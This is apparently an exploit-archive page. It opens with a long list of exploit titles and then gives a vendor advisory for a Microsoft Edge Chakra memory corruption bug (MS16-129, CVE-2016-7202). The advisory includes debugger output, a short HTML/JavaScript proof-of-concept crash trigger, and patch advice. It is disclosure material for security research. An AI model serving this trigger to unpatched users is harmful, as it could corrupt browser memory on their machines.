dab1517032
13 new exploits Borland Interbase 2007 - ibserver.exe Buffer Overflow (PoC) Borland Interbase 2007 - 'ibserver.exe' Buffer Overflow (PoC) Linux Kernel (Ubuntu / RedHat) - 'keyctl' Null Pointer Dereference Linux Kernel 4.8.0-22 / 3.10.0-327 (Ubuntu 16.10 / RedHat) - 'keyctl' Null Pointer Dereference Microsoft Edge Scripting Engine - Memory Corruption (MS16-129) Microsoft Edge - 'CTextExtractor::GetBlockText' Out-of-Bounds Read (MS16-104) Microsoft Internet Explorer 8 jscript - 'RegExpBase::FBadHeader' Use-After-Free (MS15-018) NTP 4.2.8p8 - Denial of Service Tumbleweed SecureTransport FileTransfer - ActiveX Buffer Overflow Tumbleweed SecureTransport 4.6.1 FileTransfer - ActiveX Buffer Overflow Borland Interbase 2007 - PWD_db_aliased Buffer Overflow (Metasploit) Borland Interbase 2007 - 'PWD_db_aliased' Buffer Overflow (Metasploit) Borland Interbase 2007 / 2007 SP2 - open_marker_file Buffer Overflow (Metasploit) Borland Interbase 2007 / 2007 sp2 - jrd8_create_database Buffer Overflow (Metasploit) Borland Interbase 2007 / 2007 SP2 - INET_connect Buffer Overflow (Metasploit) Borland Interbase 2007 / 2007 SP2 - 'open_marker_file' Buffer Overflow (Metasploit) Borland Interbase 2007 / 2007 sp2 - 'jrd8_create_database' Buffer Overflow (Metasploit) Borland Interbase 2007 / 2007 SP2 - 'INET_connect' Buffer Overflow (Metasploit) Borland Interbase - isc_create_database() Buffer Overflow (Metasploit) Borland Interbase - 'isc_create_database()' Buffer Overflow (Metasploit) Borland Interbase - isc_attach_database() Buffer Overflow (Metasploit) Borland Interbase - 'isc_attach_database()' Buffer Overflow (Metasploit) Borland Interbase - SVC_attach() Buffer Overflow (Metasploit) Borland Interbase - 'SVC_attach()' Buffer Overflow (Metasploit) Borland Interbase - Create-Request Buffer Overflow (Metasploit) Borland Interbase - 'Create-Request' Buffer Overflow (Metasploit) Borland Interbase - PWD_db_aliased() Buffer Overflow (Metasploit) Borland Interbase - open_marker_file() Buffer Overflow (Metasploit) Borland Interbase - 'PWD_db_aliased()' Buffer Overflow (Metasploit) Borland Interbase - 'open_marker_file()' Buffer Overflow (Metasploit) Borland Interbase - jrd8_create_database() Buffer Overflow (Metasploit) Borland Interbase - INET_connect() Buffer Overflow (Metasploit) Borland Interbase - 'jrd8_create_database()' Buffer Overflow (Metasploit) Borland Interbase - 'INET_connect()' Buffer Overflow (Metasploit) Dlink DIR Routers - Unauthenticated HNAP Login Stack Buffer Overflow (Metasploit) phpunity.postcard - (gallery_path) Remote File Inclusion phpunity.postcard - 'gallery_path' Parameter Remote File Inclusion CcMail 1.0.1 - (update.php functions_dir) Remote File Inclusion CcMail 1.0.1 - 'functions_dir' Parameter Remote File Inclusion 1024 CMS 0.7 - (download.php item) Remote File Disclosure 1024 CMS 0.7 - 'download.php' Remote File Disclosure cpCommerce 1.1.0 - (category.php id_category) SQL Injection CPCommerce 1.1.0 - 'id_category' Parameter SQL Injection 1024 CMS 1.3.1 - (Local File Inclusion / SQL Injection) Multiple Vulnerabilities 1024 CMS 1.3.1 - Local File Inclusion / SQL Injection Mole 2.1.0 - (viewsource.php) Remote File Disclosure ChartDirector 4.1 - (viewsource.php) File Disclosure 724CMS 4.01 Enterprise - (index.php ID) SQL Injection My Gaming Ladder 7.5 - (ladderid) SQL Injection Mole 2.1.0 - 'viewsource.php' Remote File Disclosure ChartDirector 4.1 - 'viewsource.php' File Disclosure 724CMS 4.01 Enterprise - 'index.php' SQL Injection My Gaming Ladder 7.5 - 'ladderid' Parameter SQL Injection exbb 0.22 - (Local File Inclusion / Remote File Inclusion) Multiple Vulnerabilities Pligg CMS 9.9.0 - (editlink.php id) SQL Injection ExBB 0.22 - Local / Remote File Inclusion Pligg CMS 9.9.0 - 'editlink.php' SQL Injection Prediction Football 1.x - (matchid) SQL Injection Prediction Football 1.x - 'matchid' Parameter SQL Injection Free Photo Gallery Site Script - (path) File Disclosure Free Photo Gallery Site Script - 'path' Parameter File Disclosure LiveCart 1.1.1 - (category id) Blind SQL Injection Ksemail - 'index.php language' Local File Inclusion LiveCart 1.1.1 - 'id' Parameter Blind SQL Injection Ksemail - Local File Inclusion RX Maxsoft - 'popup_img.php fotoID' SQL Injection PHPKB Knowledge Base Software 1.5 - 'ID' SQL Injection RX Maxsoft - 'fotoID' Parameter SQL Injection PHPKB Knowledge Base Software 1.5 - 'ID' Parameter SQL Injection Pollbooth 2.0 - (pollID) SQL Injection cpcommerce 1.1.0 - (Cross-Site Scripting / Local File Inclusion) Multiple Vulnerabilities Pollbooth 2.0 - 'pollID' Parameter SQL Injection CPCommerce 1.1.0 - Cross-Site Scripting / Local File Inclusion SmallBiz eShop - (content_id) SQL Injection SmallBiz eShop - 'content_id' Parameter SQL Injection lightneasy sqlite / no database 1.2.2 - Multiple Vulnerabilities LightNEasy sqlite / no database 1.2.2 - Multiple Vulnerabilities PostcardMentor - 'step1.asp cat_fldAuto' SQL Injection PostcardMentor - 'cat_fldAuto' Parameter SQL Injection Pligg CMS 9.9.0 - (story.php id) SQL Injection Pligg CMS 9.9.0 - 'story.php' SQL Injection LokiCMS 0.3.4 - writeconfig() Remote Command Execution LokiCMS 0.3.4 - 'writeconfig()' Remote Command Execution cpCommerce 1.2.6 - (URL Rewrite) Input Variable Overwrite / Authentication Bypass CPCommerce 1.2.6 - (URL Rewrite) Input Variable Overwrite / Authentication Bypass cpCommerce 1.2.8 - (id_document) Blind SQL Injection CPCommerce 1.2.8 - 'id_document' Parameter Blind SQL Injection cpCommerce 1.2.x - GLOBALS[prefix] Arbitrary File Inclusion CPCommerce 1.2.x - 'GLOBALS[prefix]' Arbitrary File Inclusion ChartDirector 5.0.1 - (cacheId) Arbitrary File Disclosure ChartDirector 5.0.1 - 'cacheId' Parameter Arbitrary File Disclosure Pligg CMS 1.0.4 - (story.php?id) SQL Injection Pligg CMS 1.0.4 - 'story.php' SQL Injection 724CMS 4.59 Enterprise - SQL Injection 724CMS Enterprise 4.59 - SQL Injection lightneasy 3.2.2 - Multiple Vulnerabilities LightNEasy 3.2.2 - Multiple Vulnerabilities My Postcards 6.0 - MagicCard.cgi Arbitrary File Disclosure My Postcards 6.0 - 'MagicCard.cgi' Arbitrary File Disclosure Mambo Open Source 4.0.14 - PollBooth.php Multiple SQL Injection Mambo Open Source 4.0.14 - 'PollBooth.php' Multiple SQL Injection PhotoKorn 1.53/1.54 - postcard.php id Parameter SQL Injection PhotoKorn 1.53/1.54 - 'id' Parameter SQL Injection CPCommerce 1.1 - Manufacturer.php SQL Injection CPCommerce 1.1 - 'manufacturer.php' SQL Injection LiveCart 1.0.1 - user/remindPassword return Parameter Cross-Site Scripting LiveCart 1.0.1 - category q Parameter Cross-Site Scripting LiveCart 1.0.1 - order return Parameter Cross-Site Scripting LiveCart 1.0.1 - user/remindComplete email Parameter Cross-Site Scripting LiveCart 1.0.1 - 'return' Parameter Cross-Site Scripting LiveCart 1.0.1 - 'q' Parameter Cross-Site Scripting LiveCart 1.0.1 - 'return' Parameter Cross-Site Scripting LiveCart 1.0.1 - 'email' Parameter Cross-Site Scripting Pligg CMS 1.x - module.php Multiple Parameter Cross-Site Scripting Pligg CMS 1.x - 'module.php' Multiple Parameter Cross-Site Scripting Pligg CMS 2.0.2 - (load_data_for_search.php) SQL Injection Pligg CMS 2.0.2 - 'load_data_for_search.php' SQL Injection CMS Made Simple 2.1.5 - Cross-Site Scripting Atlassian Confluence AppFusions Doxygen 1.3.0 - Directory Traversal WordPress Plugin Instagram Feed 1.4.6.2 - Cross-Site Request Forgery Mezzanine 4.2.0 - Cross-Site Scripting LEPTON 2.2.2 - SQL Injection LEPTON 2.2.2 - Remote Code Execution FUDforum 3.0.6 - Cross-Site Scripting / Cross-Site Request Forgery FUDforum 3.0.6 - Local File Inclusion Wordpress Plugin Olimometer 2.56 - SQL Injection
98 lines
No EOL
4.2 KiB
HTML
Executable file
98 lines
No EOL
4.2 KiB
HTML
Executable file
<!--
|
||
Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf
|
||
|
||
Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129)
|
||
CVE: CVE-2016-7202
|
||
Vendor Website: http://www.microsoft.com/
|
||
Date Released: 09/11/2016
|
||
Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016
|
||
Researchers: Scott Bell
|
||
|
||
Description
|
||
|
||
A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could
|
||
allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the
|
||
current user.
|
||
|
||
Exploitation
|
||
|
||
Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can
|
||
generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this
|
||
are often hosted on legitimate websites which have been compromised by other means.
|
||
|
||
The following table shows some cursory debug information:
|
||
|
||
First chance exceptions are reported before any exception handling.
|
||
This exception may be expected and handled.
|
||
eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000
|
||
eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc
|
||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
|
||
jscript9!Recycler::ScanObject+0x23:
|
||
6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=????????
|
||
2:046> k
|
||
ChildEBP RetAddr
|
||
0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23
|
||
0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22
|
||
0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a
|
||
0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e
|
||
0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103
|
||
0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1
|
||
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
|
||
C:\Windows\system32\msvcrt.dll -
|
||
0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c
|
||
WARNING: Stack unwind information not available. Following frames may be wrong.
|
||
0328fbd0 775c1328 msvcrt!itow_s+0x4c
|
||
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
|
||
C:\Windows\system32\kernel32.dll -
|
||
0328fbd8 7793ef1c msvcrt!endthreadex+0x6c
|
||
0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12
|
||
0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70
|
||
0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b
|
||
|
||
The following proof of concept code can be used to reproduce the vulnerability:
|
||
-->
|
||
|
||
<html>
|
||
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
|
||
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
|
||
<body>
|
||
<script>try{
|
||
for(var z in "a") a1.set(a1, '' );
|
||
Array.prototype.sort.call(a1, 'a', a1)
|
||
a1 = this;
|
||
a2 = [];
|
||
a1 = a2.concat(a1.a1);
|
||
var a1 = new Iterator(a1);
|
||
a1.add(a1);
|
||
for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);}
|
||
a1.reverse();
|
||
Array.prototype.reverse.call(a1);
|
||
a1.splice(1, 10);
|
||
}catch(e){};</script>
|
||
</body>
|
||
</html>
|
||
|
||
<!--
|
||
|
||
Solution
|
||
M
|
||
icrosoft validated this security issue and issued a patch (MS16-129) to remedy it.
|
||
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.
|
||
|
||
About Security-Assessment.com
|
||
|
||
Security-Assessment.com is a leading team of Information Security consultants specialising in providing high
|
||
quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of
|
||
the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and
|
||
government. Our aim is to provide the very best independent advice and a high level of technical expertise while
|
||
creating long and lasting professional relationships with our clients.
|
||
Security-Assessment.com is committed to security research and development, and its team continues to identify
|
||
and responsibly publish vulnerabilities in public and private software vendor's products. Members of the
|
||
Security-Assessment.com R&D team are globally recognised through their release of whitepapers and
|
||
presentations related to new security research.
|
||
|
||
For further information on this issue or any of our service offerings, contact us:
|
||
|
||
Web www.security-assessment.com
|
||
Email info@security-assessment.com
|
||
--> |